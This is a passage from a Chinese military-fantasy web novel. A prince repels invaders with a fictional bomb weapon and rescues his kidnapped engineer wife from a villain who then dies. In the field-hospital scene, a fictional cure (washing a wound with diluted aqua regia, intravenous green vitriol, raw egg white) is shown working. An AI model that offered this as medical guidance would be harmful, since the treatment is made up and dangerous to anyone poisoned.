他强撑着最后一丝清明,枯瘦的手指死死指向悬崖下翻滚的墨绿色泥沼,声音嘶哑破碎:“找,活要见人,死……见尸,顾北辰不能活……” 话音未落,身体猛地一颤,一口黑血喷出,眼前一黑,彻底昏死过去。 “将军!”副将目眦欲裂,嘶声厉吼,“军医,快!” 随行军医连滚爬带冲上前,撕开毛梦极肩颈处的皮甲,只见一道细小的伤口周围皮肤已呈青黑色,并迅速向四周蔓延。 “毒粉入血,毒性猛烈,快,避瘴丹化水清洗伤口,金针封脉,阻止毒血攻心!”军医声音颤抖,手忙脚乱地施救。 士兵们屏息凝神,眼中充满焦虑与恐惧。 毛将军是他们的魂。 “搜,给老子搜!”副将双眼赤红,指着悬崖咆哮,“绳索,钩爪,下沼泽,一寸寸给老子摸,生要见人死要见尸,找不到顾北辰,你们也别回来了!” “是!”数名悍卒咬牙应命,迅速绑好绳索,将钩爪深深嵌入岩缝,不顾下方毒瘴弥漫,泥沼险恶,悍然滑下悬崖,身影没入浓稠的墨绿之中。 燕京行辕,紫宸殿。 炭火盆驱不散深冬的寒意,殿内气氛凝重如铅。 林臻玄甲蟠龙,负手立于巨大的北境舆图前,目光沉静如渊,却蕴藏着雷霆。 萧寒舟手持数份染血的密报,声音低沉急促:“师父,黑石堡急报,毛将军身中剧毒昏迷不醒,军医言毒入肺腑危在旦夕,顾北辰坠入死泽泥沼生死不明,靖边营正全力搜救!” “灵儿!”林臻声音冰冷。 “在!”楚惜灵靛蓝工装纤尘不染,清冷的脸上带着一丝不易察觉的凝重。 “即刻携工部医官及所有解毒良药,乘快马日夜兼程赶赴黑石堡,不惜一切代价救活毛梦极!” “是!”楚惜灵躬身,转身疾步离去。 “另……”林臻目光扫过舆图,“黑石堡战况。” “焚雷破城,毙敌三百余,俘获一百二十人,三部残匪及黑鳞死士尽数伏诛,缴获未提纯毒涎及半成品若干,焚毁殆尽。”萧寒舟道,“然我军阵亡八十七人,重伤一百五十三人,多为焚雷死队及近身搏杀所伤。” “厚恤,双倍!”林臻声音斩钉截铁,“重伤者全力救治,阵亡者家眷官养终身!” “是!”萧寒舟应道,随即声音更沉,“然北境急报,柔然左贤王部三万铁骑,已突破风雪关外三百里野狼原,前锋游骑已抵鹰嘴隘,高昌鹰师两万步骑,陈兵落日谷距我边关不足百里,烽火已燃。” 殿内一片死寂。 空气仿佛冻结。 柔然高昌……终于来了。 “秃鹫、雪狼、风隼三部动向。”林臻声音平静无波。 “三部酋长皆已率本部精锐骑兵集结于指定防区,然……”萧寒舟面露忧色,“三部之间摩擦不断,兀良合台与拓跋雄为草场水源险些械斗,兵力不足三成。” “内忧外患啊。”林臻眼中寒光一闪,“传令,着兵部持本世子金剑亲赴三部防区督军,重申军令,凡有贻误军机、临阵退缩、私斗内耗者立斩不赦,抄没部族,妻女为奴。” “是!”传令兵轰然应诺,飞奔而出。 “北境兵力几何。”林臻目光落回舆图。 “回殿下!”兵部官员上前一步,“风雪关驻守金吾卫主力一万,神机营三千,边军两万,然柔然铁骑彪悍,高昌弓马娴熟,若两部合流五万之众,我军兵力恐捉襟见肘。” “兵力不足以器补。”林臻声音沉稳,“灵儿临行前禀报,焚天雷稳定剂量产工艺已突破日产可达五十枚,掷弹筒改良完成,射程增至两百五十步,精度提升三成!” 殿内众人眼中闪过一丝微光。 “传令工部,焚雷司昼夜不停全力生产焚天雷及掷弹筒,优先配发北境神机营及金吾卫精锐!”林臻下令,“另飞鸽传书沪县,调深水港水师陆战营燧发枪队三千,火速北上,援风雪关!” “是!”工部领命。 “萧寒舟!” “弟子在!” “联络汇通号、丰裕号,征调所有驮马、大车,组建飞火营专职焚天雷运输押送,沿途驿站,囤积冰窖,确保低温存储,万无一失!” “臣遵旨!” “橙萱!” “在!” “率绣衣卫精锐,潜入柔然、高昌军营,散播流言,言顾北辰已伏诛,其焚天雷乃欺世盗名之物,引外虏犯境实为借刀杀人,消耗其国力,若其执迷不悟,大乾天兵必携神罚之雷犁庭扫穴,灭其苗裔!” “明白!” “本世子……”林臻缓缓转身,玄色披风无风自动,“亲赴风雪关坐镇北疆,柔然高昌敢犯我疆土一寸,本世子必让其付出血的代价!” 黑石堡,临时医帐。 浓重的药味混合着血腥与腐臭,令人窒息。 毛梦极躺在简陋的木榻上,脸色乌黑,嘴唇青紫,呼吸微弱如游丝。肩颈处的伤口肿胀溃烂,流出的黑血散发着腥臭。 军医满头大汗,金针插满穴位,却无法阻止毒气蔓延。 “毒入心脉,回天乏术啊。”军医声音绝望。 帐帘猛地掀开。 风雪裹挟着一道靛蓝身影闯入。 楚惜灵清冷的脸上带着长途奔波的疲惫与风尘,但眼神锐利如初。她无视帐内压抑的气氛,快步走到榻前,俯身查看伤口,鼻尖微动,清冷的眼眸中闪过一丝凝重。 “沼泽毒菌孢子,混合箭毒木汁液及某种神经麻痹毒素。”她声音清晰冷静,“取王水,稀释十倍,清洗伤口深挖腐肉,见白骨!” 军医骇然:“楚大人!此物剧毒腐蚀!” “腐肉不去,毒根不除!”楚惜灵声音不容置疑,“取银针,试毒血!” 银针探入黑血,瞬间变黑! “果然含硫砷化物……”楚惜灵眼中精光一闪,“取生鸡蛋清,大量灌服,中和部分毒素,另取绿矾溶液,静脉滴注,快!” 军医虽惊疑,但不敢怠慢,连忙照做。 楚惜灵亲自动手,琉璃护目镜下目光专注如鹰隼,手持特制的小银刀,精准地剜去毛梦极伤口周围乌黑的腐肉,直至露出森森白骨! 王水稀释液冲洗,发出滋滋声响,冒出刺鼻白烟! 腐肉瞬间碳化脱落!剧痛让昏迷的毛梦极身体剧烈抽搐! 楚惜灵面不改色,动作迅捷如电。 绿矾溶液通过特制的空心银针缓缓注入静脉。 生鸡蛋清被强行灌入。 时间一分一秒过去。 帐内死寂,只有药液滴落的滴答声和毛梦极微弱的喘息。 楚惜灵额角渗出细密的汗珠,清冷的脸上带着前所未有的专注。 终于,毛梦极脸上的乌黑以肉眼可见的速度褪去,呼吸逐渐平稳,伤口流出的血变成了暗红色。 “毒止住了……”军医声音带着难以置信的颤抖。 楚惜灵微微松了口气,清冷的眼眸中闪过一丝疲惫。 “清理伤口,敷金疮药加冰片,保持低温,密切观察,每半个时辰喂服绿豆甘草汤,解毒排毒!” “是!是!”军医连声应诺,看向楚惜灵的目光充满敬畏。 风雪关,城楼。 寒风如刀,卷起漫天雪沫,抽打在冰冷的雉堞和肃立的甲士身上。 林臻玄甲蟠龙,猩红披风在狂风中猎猎作响,目光如电,穿透风雪,遥望北方苍茫的雪原。 地平线上,隐约可见黑压压的骑影如同涌动的潮水,旌旗招展,刀枪如林。 柔然铁骑的号角声低沉而悠远,带着草原的野性与杀伐之气,穿透风雪传来。 高昌鹰师的战鼓声沉闷如雷,敲击在每一个守城将士的心头。 “报——!”斥候滚鞍下马,单膝跪地,声音嘶哑,“禀殿下,柔然前锋五千骑,已抵关外十里饮马坡,高昌鹰师一万步骑屯落日谷谷,按兵不动,似在观望!” “柔然想当先锋?”副将冷笑。 “传令!”林臻声音平静无波,“神机营上城,掷弹筒前置装填焚天雷,目标饮马坡,待敌进入两百步,自由轰击!” “是!”传令兵飞奔。 “金吾卫重骑,披甲执锐,集结关内,听令出击!” “得令!” “边军弓弩手,滚木礌石,火油金汁,准备!” “遵命!” 林臻的目光扫过城下严阵以待的三部骑兵。 秃鹫部兀良合台、雪狼部拓跋雄面色凝重,眼神复杂。 “兀良合台,拓跋雄,”林臻声音穿透风雪,清晰传入三人耳中,“此战关乎北燕存亡,三部荣辱,凡有临阵杀敌者,赏!凡有斩将夺旗者,重赏!凡有畏敌怯战者,军法从事,灭族,悬首!勿谓言之不预!” 二人身体一震,齐声应诺:“谨遵殿下军令!” 风雪更急。 柔然前锋的铁蹄踏碎冰雪,如同黑色的洪流,缓缓逼近。 狰狞的面容,弯刀的反光,在风雪中若隐若现。 号角声愈发急促,带着嗜血的兴奋。 两百步……一百五十步……一百步…… “神机营,放!”林臻金剑前指! “嘭!嘭!嘭!嘭——!”沉闷的发射声响起! 数十枚黝黑的焚天雷划破风雪,带着凄厉的尖啸,砸入柔然前锋密集的骑阵! “轰——!轰——!轰——!轰——!!!” 震天动地的恐怖爆炸接连炸响,炽热的火焰夹杂着浓烟和锋利的金属碎片冲天而起,瞬间吞噬了冲锋的柔然骑兵。 人仰马翻,血肉横飞,战马的悲鸣,士兵的惨嚎,在爆炸声中显得如此微弱。 冲锋的阵型瞬间被撕开数个巨大的缺口,焦黑的尸体和燃烧的残骸散落一地。 “长生天啊!那是什么?!”幸存的柔然骑兵发出惊恐的尖叫! 冲锋的势头为之一滞! “金吾卫,出击!”林臻厉喝! 风雪关沉重的城门轰然洞开,毛梦极麾下副将身先士卒,玄甲重骑如同黑色的钢铁洪流,踏着雷鸣般的蹄声,卷起漫天雪沫,狠狠撞入混乱的柔然前锋。 冰冷的枪锋轻易洞穿皮甲,沉重的马蹄踏碎倒地的敌人。 所过之处,人仰马翻,势不可挡。 “秃鹫部,雪狼部,风隼部,随我杀!”兀良合台发出怒吼,三部骑兵如同出闸的猛虎,挥舞着弯刀,从两翼包抄而上,狠狠绞杀着溃散的柔然骑兵! 第736章 灵儿被劫持 风雪关前的雪原,已化为一片修罗场。 焦黑的弹坑如同巨兽的爪痕,狰狞地撕裂了洁白的雪地。 破碎的兵甲、撕裂的旌旗、冻结的血冰、燃烧的残骸,以及散落各处的、被烧焦或炸得支离破碎的人马尸体,在凛冽的寒风中无声地诉说着“焚天雷”带来的恐怖与毁灭。 空气中弥漫着浓重到令人窒息的混合气息——硝烟、硫磺、焦糊、血腥,以及一种难以言喻的、如同烧灼金属般的刺鼻味道。 幸存的柔然骑兵早已魂飞魄散,丢盔弃甲,如同丧家之犬般在雪原上狼奔豕突,被金吾卫重骑和秃鹫、雪狼、风隼二部骑兵无情地追杀、分割、歼灭。震天的喊杀声、垂死的哀嚎声、战马的悲鸣声,交织成一曲残酷的死亡交响。 城楼之上,林臻玄甲蟠龙,猩红披风在风雪中翻卷如旗。 他目光沉静如渊,俯瞰着城下那片被血与火染红的焦土。 神机营的火炮已停歇,炮口尚有余温,袅袅青烟在寒风中迅速消散。 掷弹筒冰冷的炮管指向天空,如同沉默的墓碑。 金吾卫重骑的冲锋如同犁庭扫穴,所过之处,残敌尽灭。二部骑兵紧随其后,弯刀挥舞,收割着最后的抵抗。 胜利,已成定局。 然而,林臻的脸上并无半分喜色,深邃的眼眸中反而掠过一丝不易察觉的凝重。 焚天雷的威力远超预期。 此物一出,战争的规则将被彻底改写。 “报——!”传令兵飞奔上城,单膝跪地,声音带着一丝不易察觉的颤抖,“禀殿下,柔然前锋五千骑尽数覆灭,斩首二千七百余级,俘获八百,余者溃散,高昌鹰师已拔营后撤二十里,烽火暂熄!” “善。”林臻声音平静无波,“清点战损,救治伤员,厚葬阵亡将士。” “是!” “另……”传令兵声音微顿,“秃鹫部酋长兀良合台,雪狼部酋长拓跋雄求见殿下。” “传。” 片刻,两位部落首领登上城楼。 兀良合台豹头环眼,拓跋雄面容阴鸷,两人甲胄染血,脸上带着胜利的亢奋与一丝难以言喻的敬畏。 方才焚天雷撕裂敌阵的恐怖景象,如同烙印般刻在他们心中。 “末将参见殿下!”二人躬身行礼。 “两位酋长此战奋勇杀敌功不可没。”林臻目光扫过两人,“本世子必有重赏。” “谢殿下!”人齐声应道,眼中闪过一丝喜色。 “然……”林臻话锋一转,声音低沉,“焚天雷之威诸位亲眼所见。此物凶险万分。非朝廷特许严禁私藏、仿制、泄露,违者视同谋逆,诛九族,焚部落!” 二人身体一僵,脸上亢奋之色瞬间褪去,取而代之的是深深的敬畏与恐惧。 “末将谨遵殿下谕令,绝不敢违!”声音带着一丝不易察觉的颤抖。 “退下吧。”林臻挥手。 二人如蒙大赦,躬身退下。 城楼上,寒风卷起雪沫,气氛凝重。 “师父……”萧寒舟上前一步,低声道,“焚天雷威力虽巨,然杀孽过重恐有伤天和亦恐招致外邦觊觎。” “天和?”林臻嘴角勾起一丝冰冷的弧度,“乱世当用重典。外虏畏威而不怀德。此物便是威。至于觊觎……”他目光扫向北方,“那便让他们永远畏惧。” “报——!”又一名传令兵疾驰而来,滚鞍下马,声音带着前所未有的急迫,“黑石堡急报!毛将军醒了!” 林臻眼中精光一闪:“伤势如何。” “楚夫人妙手回春,毒已解,然元气大伤需静养数月!”传令兵语速飞快,“另搜泽死士……回报!于悬崖下泥沼深处发现顾北辰残骸!” “残骸?”林臻眉头微蹙。 “是,半具焦尸,身着紫袍碎片,青铜面具破碎,面容损毁难辨,身陷毒沼已高度腐烂,然其腰间佩有顾北辰独有之蟠龙金印,确认无疑!” 殿内众人皆是一震! 顾北辰死了? “尸首何在。”林臻声音低沉。 “已就地焚化,骨灰封存,呈送殿下!”传令兵呈上一个密封的陶罐。 林臻接过陶罐,入手冰冷沉重。 他凝视着罐身,目光深邃,不见波澜。 纠缠自己多年的毒蛇……伏诛了? 然为何心中并无半分轻松? “报——!!!”第二名传令兵几乎是连滚爬带冲上城楼,声音嘶哑绝望,“殿下!大事不好!断龙崖焚雷司遇袭,楚大人被劫持了!” “什么?!”林臻瞳孔骤然收缩! 手中陶罐险些脱手! “何人?!” “不……不知!”传令兵声音带着哭腔,“一伙黑衣人,身手诡秘,武功极高,趁楚大人外出勘察新矿脉突袭护卫,杀散守卫,劫走楚大人,遁入西山深处断魂崖,留下……留下此物!” 传令兵颤抖着呈上一块染血的布条,上面用炭笔潦草地写着几个字:“欲救楚惜灵,独赴断魂崖。林臻小儿,备好焚天雷秘方。否则玉石俱焚!——知名不具” “顾北辰?”毛梦极虽重伤未至,但其副将失声惊呼,“他……他没死?” 林臻死死攥紧染血的布条,指节因用力而发白,眼中寒光爆射,如同冰封的火山! 陶罐中的骨灰是假的,坠崖是金蝉脱壳,劫持楚惜灵索要配方这才是他真正的杀招! 好一个顾北辰! 好一条阴魂不散的毒蛇! 断魂崖。 并非真正的悬崖,而是一片由无数巨大、黝黑、如同巨兽獠牙般耸立的火山岩柱组成的险恶石林。 怪石嶙峋,沟壑纵横,终年弥漫着淡淡的硫磺雾气,地形复杂如同迷宫。 此刻,在石林最深处,一处相对开阔、二面环抱巨大石柱的平台上。 楚惜灵靛蓝工装破损,清冷的脸上沾满尘土,嘴角带着一丝血迹,双手被反绑在身后,嘴上勒着布条。 她眼神依旧冷静,但深处却带着一丝难以掩饰的焦虑。 她身前,站着一名紫袍人。紫袍残破,沾满泥泞,脸上覆盖着一张新的、更加狰狞的青铜鬼面,只露出一双深邃如渊、燃烧着疯狂与怨毒的眼眸——正是顾北辰! 他身后,十余名黑袍死士如同鬼魅般肃立,眼神冰冷,手持淬毒弩箭,对准了平台唯一的入口。 “林臻小儿……该到了。”顾北辰声音嘶哑,如同砂纸摩擦,带着一种歇斯底里的兴奋,“楚大人你说他会为了你交出焚天雷的秘方吗?” 楚惜灵无法言语,只能用冰冷的眼神死死盯着他。 “呵呵……”顾北辰发出低沉的笑声,“本相很好奇,在他心中是你这个能造‘焚天雷’的国士重要,还是那足以颠覆乾坤的秘方重要?或者他根本不在乎你的死活,只在乎本相必须死?” 他猛地转身,面向入口方向,声音陡然拔高,如同夜枭啼鸣:“林臻!既然来了何必藏头露尾,现身吧!让本相看看你这大乾世子如何抉择!” 入口处,风雪卷动。 一道玄色身影缓缓走出。林臻玄甲蟠龙,金剑挂腰,未带一兵一卒,孤身一人。 他目光沉静,如同古井深潭,扫过被劫持的楚惜灵,最后落在顾北辰身上。 “顾北辰。”林臻声音平静无波,“放了楚惜灵。本世子留你全尸。” “哈哈哈!”顾北辰仰天狂笑,笑声中充满了怨毒与疯狂,“留我全尸?林臻小儿!你以为本相还是那个被你追得如同丧家之犬的败军之将吗?今日本相手中握着你的命脉!” 他枯瘦的手指猛地指向楚惜灵,“秘方!交出焚天雷的完整秘方,否则本相立刻让她香消玉殒,让你的焚天雷成为绝响!” “秘方……”林臻目光深邃,“此物非一人一国可掌,交出便是祸乱之源。你不配拥有。” “我不配?”顾北辰眼中凶光爆射,“那谁配?你吗?还是那个坐在龙椅上昏聩无能的女帝?此物当属强者,当属能颠覆乾坤之人,本相便是那人!” “痴心妄想。”林臻声音冰冷。 “那就让她死!”顾北辰厉喝,枯瘦的手掌猛地扼向楚惜灵的咽喉! “且慢!”林臻声音陡然提高,“秘方没有,但焚天雷可以给你。” 顾北辰动作一顿,眼中闪过一丝惊疑:“哦?” “首批成品五十枚,连同特制铅盒、运输马车就在崖下。”林臻声音沉稳,“足够你东山再起,换我夫人。” “成品?”顾北辰眼中精光闪烁,随即化为更深的贪婪,“林臻,你当本相是二岁孩童,成品用完即无,秘方才是根本,交出秘方,否则免谈!” “秘方乃国之重器。”林臻目光如炬,“绝无可能,你只有两个选择。要么拿着焚天雷带着你的人滚出北燕,永远消失!要么……” 他缓缓抽出腰间的蟠龙金剑,剑锋在风雪中闪烁着刺骨的寒芒,“本世子亲手送你和你这些爪牙下地狱!” “你!”顾北辰眼中怨毒如炽! 他死死盯着林臻,又看向被扼住咽喉、脸色涨红的楚惜灵,心中天人交战。 成品……五十枚焚天雷……足以让他重创柔然或回到难处吞并齐国。 但没有秘方终究受制于人! 可若强求秘方,林臻绝不会妥协! 玉石俱焚非他所愿! 风雪在石林间呼啸盘旋,卷起漫天雪沫。 断魂崖上,二方对峙,空气紧绷如弦,杀机弥漫。 第737章 顾北辰之死 顾北辰嘶哑的声音如同夜枭啼鸣,带着一种歇斯底里的嘲讽, “林臻小儿!你以为本相会信你?五十枚焚天雷用完即无,没有秘方本相依旧是丧家之犬!今日本相就要秘方,否则……”他手指猛地收紧! 楚惜灵喉咙发出痛苦的呜咽,脸色由红转紫! “……她就得死!你的焚天雷就永远是个半成品!” “你杀了她……”林臻声音依旧平静,却带着一种令人心悸的寒意,“你也活不了。你身后这些走狗一个也活不了。你苦心经营的一切都将化为灰烬。值得吗。” “值不值得本相说了算!”顾北辰眼中凶光爆射,“本相宁为玉碎!不为瓦全!得不到秘方那就毁了它,毁了能造它的人,让你也永远得不到安宁!” 他猛地将楚惜灵向前一推,挡在自己身前,另一只手闪电般从怀中掏出一个巴掌大小、通体黝黑、表面布满复杂纹路的金属圆筒! 圆筒顶端,一根尖锐的撞针在幽光下闪烁着不祥的寒芒! “林臻!认得此物吗!”顾北辰声音带着疯狂的得意,“蛇窟的毒龙钻,内藏三枚蚀骨毒针,见血封喉无药可解,本相只需轻轻一按。”他枯瘦的手指悬在圆筒侧面的机括上,“三枚毒针就会射穿她的心脏,神仙难救,现在交出秘方,否则玉石俱焚!” 林臻瞳孔骤然收缩! 他认得此物,西域拜火教秘传的暗杀凶器,歹毒无比。 顾北辰竟将此物带在身上! 他握剑的手指微微收紧,骨节泛白。 冰冷的杀意如同实质般弥漫开来,周围的空气仿佛瞬间冻结。 黑袍死士的弩弦绷得更紧,幽蓝的箭头在风雪中微微颤动。 楚惜灵被扼住咽喉,窒息感如同潮水般涌来,眼前阵阵发黑。 她能感受到顾北辰手指的冰冷和颤抖,能感受到那抵在背后的毒龙钻传来的死亡气息。 然而,她的眼神却异常平静,甚至带着一丝决绝。 她艰难地转动眼珠,看向林臻,微微摇头。 那眼神清晰无比——不要妥协。 时间仿佛在这一刻凝固。 风雪呜咽,硫磺雾气翻腾。 生与死,只在顾北辰一念之间。 “三……”顾北辰声音嘶哑,如同最后的通牒,“二……” 就在“一”字即将出口的刹那! “嗤——!” 一声极其轻微、如同毒蛇吐信般的破空声响起,一道几乎无法察觉的银光,从平台侧面一根巨大石柱的阴影中激射而出,速度快如闪电,精准无比地射向顾北辰悬在机括上的那只手。 “噗嗤!” 银光没入手腕,鲜血瞬间飙射! “啊——!”顾北辰发出一声凄厉的惨嚎,剧痛让他手指猛地一松! 毒龙钻脱手飞出,楚惜灵趁机猛地挣脱束缚,身体向前扑倒。 “橙萱!”林臻眼中精光爆射,金剑化作一道金色的闪电,直扑顾北辰。 “保护相爷!”黑袍死士厉吼! 弩箭齐发,幽蓝的箭雨泼洒向林臻和扑出的楚惜灵。 “叮叮叮叮——!”林臻金剑狂舞,化作一片金色的光幕,将射向他的毒箭尽数磕飞,火星四溅! “噗噗噗——!”数支毒箭射向楚惜灵,千钧一发之际,一道橙黄色的身影如同鬼魅般从石柱后闪出,短剑化作一片光幕! “铛铛铛!”格开大部分毒箭,但仍有一支擦过楚惜灵左臂,带起一道血痕。 “楚夫人!”橙萱惊呼,短剑如电,劈翻两名扑近的死士,护在楚惜灵身前。 “杀光他们!”顾北辰捂住鲜血淋漓的手腕,眼中怨毒如炽,厉声嘶吼。 残余的死士悍不畏死地扑上! 与林臻、橙萱战成一团,刀光剑影,血肉横飞。 顾北辰踉跄后退,眼中充满了疯狂与不甘,他猛地扑向掉落的毒龙钻。 “顾北辰!”林臻金剑劈飞一名死士,身形如电,直扑而来。 “一起死吧!”顾北辰眼中闪过一丝最后的疯狂,他抓起毒龙钻,不再瞄准任何人,而是猛地将撞针狠狠砸向地面。 “不——!”橙萱失声惊呼! “轰——!!!” 一声沉闷却恐怖的巨响! 毒龙钻内部储存的烈性火药瞬间爆炸,炽热的火焰夹杂着锋利的金属碎片和致命的毒液,如同风暴般席卷开来。 “噗——!” 距离最近的顾北辰首当其冲,恐怖的冲击波将他狠狠掀飞,青铜鬼面瞬间碎裂,露出半张焦黑扭曲、布满血污的脸庞,紫袍被撕裂,浑身插满碎片,鲜血如同喷泉般涌出,他如同破败的麻袋般,重重撞在身后的巨大石柱上,发出一声沉闷的巨响,随即软软滑落在地! 鲜血迅速染红了身下的岩石,那双怨毒的眼睛死死瞪着林臻的方向,充满了难以置信的惊愕与滔天的恨意,最终缓缓黯淡下去。 爆炸的冲击波同样波及了林臻和橙萱,林臻玄甲护体,仍被气浪狠狠掀退数步,金剑拄地才稳住身形,橙萱护着楚惜灵扑倒在地,后背被几块灼热的碎片击中,皮甲撕裂,鲜血渗出。 “咳咳……”楚惜灵剧烈咳嗽,扯掉嘴上的布条,大口喘息。 左臂的伤口渗出黑血,毒气开始蔓延。 她挣扎着坐起,清冷的脸上带着一丝劫后余生的苍白,目光扫过顾北辰焦黑的尸体,又看向林臻和受伤的橙萱,眼中闪过一丝复杂。 残余的几名黑袍死士见顾北辰毙命,瞬间失去了斗志,或转身欲逃,或负隅顽抗,被林臻和橙萱迅速斩杀。 平台之上,只余下浓重的血腥味、硝烟味和硫磺气息,以及一地狼藉的尸体。 风雪依旧呼啸,卷起地上的血沫和灰烬。断魂崖,终于归于死寂。 林臻走到顾北辰尸体前,金剑挑开破碎的紫袍,确认其气息已绝。 他蹲下身,从顾北辰焦黑的手中,抠出那枚被炸得变形的蟠龙金印。 金印冰冷,沾满血污。纠缠北燕多年的毒蛇终于伏诛。 然而,林臻脸上并无半分喜色,只有一片冰冷的肃杀。 他目光扫过楚惜灵左臂的伤口,黑血渗出,触目惊心。 “毒箭……”橙萱捂着后背的伤口,声音带着一丝虚弱,“楚姐姐快解毒!” 林臻撕下披风一角,迅速扎紧楚惜灵伤口上方,阻止毒血上行。 他看向橙萱:“伤如何。” “皮肉伤无碍……”橙萱咬牙道。 “此地不宜久留。”林臻声音低沉,“走。” 三人相互搀扶,艰难地穿过险恶的石林。 风雪更急,山路湿滑。 楚惜灵毒性发作,脚步踉跄,意识开始模糊。 橙萱后背剧痛,咬牙支撑。林臻玄甲破损,内腑被爆炸震伤,嘴角溢出一丝鲜血,却依旧挺直脊梁,金剑开路。 回到崖下,早已有接应的绣衣卫和金吾卫精锐等候。 军医迅速上前,为楚惜灵清洗伤口,剜去腐肉,敷上特制解毒药膏。 为橙萱处理背伤。林臻拒绝了军医诊治,只服下一颗活血化瘀的丹药,便登上战马。 “回燕京。”林臻声音不容置疑。 燕京行辕,紫宸殿。 烛火通明,驱不散深冬的寒意。 林臻玄甲未卸,端坐主位,脸色微白,嘴角血迹已干,眼神深邃如渊。 楚惜灵左臂裹着厚厚的纱布,脸色苍白,靠坐在软榻上,由医女喂服汤药。 橙萱后背缠着绷带,侍立一旁,清丽的脸上带着疲惫。 “顾北辰伏诛,尸首已焚化,骨灰封存。”萧寒舟手持卷宗,声音低沉,“断魂崖死士尽数伏诛,无一漏网。” “善。”林臻声音平静。 “楚大人所中箭毒乃蛇窟秘制腐骨蚀心散毒性猛烈,”军医躬身禀报,“幸救治及时毒已拔除大半。然余毒入脉伤及经络左臂恐留下隐疾,阴雨天疼痛难忍……” 楚惜灵清冷的脸上无波无澜,只微微颔首:“无妨,能活命已是万幸。” 林臻目光扫过她苍白的脸和缠满纱布的左臂,眼中闪过一丝不易察觉的波动。“厚赐医官,所需药材尽予。” “谢殿下。”军医躬身退下。 “焚雷司,”林臻目光转向楚惜灵。 楚惜灵挣扎着坐直身体,声音虚弱却清晰:“焚天雷量产工艺已稳定,日产可达百枚。掷弹筒改良型射程三百步,精度提升五成。然……”她顿了顿,清冷的眼眸中闪过一丝前所未有的凝重, “断魂崖一战焚天雷之威殿下亲见,此物杀戮过甚有伤天和。且秘方若泄天下必遭大劫。妾身恳请夫君三思。” 殿内一片死寂。空气仿佛凝固。 萧寒舟、毛梦极(被亲卫抬入,脸色蜡黄,气息微弱)、橙萱等人皆沉默不语,目光复杂。 林臻沉默良久,深邃的目光扫过殿内每一张面孔,最终落在窗外纷飞的雪花上。“天和,杀戮……” 他声音低沉,带着一种沉重的穿透力,“北燕初定,百废待兴。柔然、高昌虎视眈眈,大乾腹地暗流涌动,若无‘焚天雷’之威何以震慑宵小,何以保境安民?然……”他话锋一转,“夫人所言亦是实情。此物双刃之剑。用之正则安邦定国。用之邪则祸乱苍生。” 他缓缓起身,玄色披风无风自动。“传令!焚雷司所产焚天雷及掷弹筒列为镇国重器!非本世子亲令不得动用,秘方封存于英烈祠地宫,设三重机关,非本世子与灵儿双钥齐启,不得开启!凡有觊觎、泄露、私制者视同谋逆!诛九族!悬首示众!另……”他目光锐利如刀, “工部,焚雷司,即刻着手研究焚天雷民用之法,开山,筑坝,通渠,化杀戮之器为生民之利!” “是!”楚惜灵眼中闪过一丝微光,郑重应道。 风雪依旧肆虐,卷过燕京城头冰冷的雉堞。 断魂崖的硝烟已散,黑水死泽的瘴气未消。 顾北辰的骨灰冰冷地封存在陶罐中,如同一个时代的终结。 林臻也没想到自己在北燕能杀掉顾北辰,看来是时候去攻打南楚了。 第738章 回王府吧,那里有人在等着 凛冬的寒意被初春的暖阳驱散,积雪消融,汇成涓涓细流,滋润着京畿大地。 官道两侧,枯柳抽芽,点点新绿在料峭春风中怯生生地舒展。 一辆玄色蟠龙徽记的宽大马车,在数百金吾卫重骑的护卫下,碾过湿润的黄土官道,向着巍峨的帝京城门缓缓驶来。 车帘低垂,隔绝了车外初春的喧嚣与尘土,也隔绝了车内人沉凝如渊的心绪。 林臻端坐车内,玄色蟠龙常服纤尘不染,指节分明的手指无意识地摩挲着一枚温润的羊脂玉佩。 车窗外掠过的熟悉景致——十里长亭、灞桥烟柳、帝京巍峨的轮廓——并未在他深邃的眼眸中激起太多波澜。 北燕的风雪、阴山的惊雷、断魂崖的硝烟、焚天雷的轰鸣……如同烙印般刻在记忆深处,与眼前这繁华安宁的京畿春色格格不入。 然而此刻,他心中最迫切的,却是那座深藏在帝京繁华深处的王府,以及府中那些久违的温香软玉。 栖霞苑。 春日的暖阳透过雕花窗棂,洒下斑驳的光影。 庭院中,几株老梅残香未散,新植的海棠已吐出娇嫩的花苞。 空气里弥漫着淡淡的草木清香和一丝不易察觉的、清雅的药香。 “夫君归期便是今日了。”上官婉儿端坐于正厅主位,一身藕荷色绣金凤纹宫装,云鬓高挽,斜插一支点翠凤钗,端庄娴雅的脸上带着一丝不易察觉的期盼与矜持。 她手中捧着一盏清茶,袅袅热气氤氲了她沉静的眉眼。 作为王府正妃,她深知自己的一言一行皆系王府体面,即便心中思念如潮,面上亦需持重守礼。 “婉儿姐姐说的是。”下首左侧,月妩轻声应和。 她身着月白色素锦长裙,外罩同色薄纱褙子,乌发仅用一支白玉簪松松挽起,气质清冷如月下幽兰。怀中抱着一柄紫檀木琵琶,指尖无意识地拨弄着琴弦,流淌出几个清越的音符,带着一丝若有若无的思念。 “北地苦寒……夫君定是清减了。” “哼!那个没良心的,一走就是大半年,连封信都稀罕!”右侧,晴雯一身鹅黄撒花短袄配葱绿撒花马面裙,梳着双丫髻,发间缀着几颗圆润的珍珠,灵动的大眼睛忽闪忽闪,小嘴微微撅起,带着几分娇嗔与不满。 她手中把玩着一个精巧的九连环,叮当作响。 “这次回来非得让他好好陪我们,把欠下的都补上!” “晴雯妹妹莫要胡言。”上官婉儿放下茶盏,声音温和却带着不容置疑的威严,“夫君为国征战,劳苦功高。我等当体恤为上。” “是……婉儿姐姐教训的是……”晴雯吐了吐舌头,低下头,继续摆弄九连环,只是动作慢了下来。 “张俪姐姐和惜灵姐姐还没到吗?”坐在月妩下首的浣碧轻声问道。 她穿着水绿色绣缠枝莲纹的袄裙,发髻简单,只簪着一朵小小的绒花,面容清秀,眼神温婉如水,带着一丝小家碧玉的羞怯与期待。 “俪儿在账房,说是要赶在夫君回来前把北燕商路的账目再核一遍。”上官婉儿道,“惜灵在‘百工阁’(王府内楚惜灵专属工坊)。她的伤还需静养,橙萱在旁照料。” 正说着,厅外传来一阵环佩叮咚的清脆声响。 一身石榴红遍地金妆花缎褙子、下着同色马面裙的张俪,风风火火地走了进来。 她云鬓堆鸦,斜插一支赤金点翠步摇,随着步伐摇曳生姿,明艳照人的脸上带着精明干练的神采,手中拿着一卷厚厚的账册。 “婉儿姐姐,月妩妹妹,晴雯,浣碧!”她声音爽利,带着笑意,“北燕黑石山煤矿的专营权总算敲定了!汇通号让利三成,明年至少能多赚这个数!”她伸出三根涂着蔻丹的手指,比划了一下。 “俪儿辛苦了。”上官婉儿含笑点头,“夫君归来定会嘉许。” 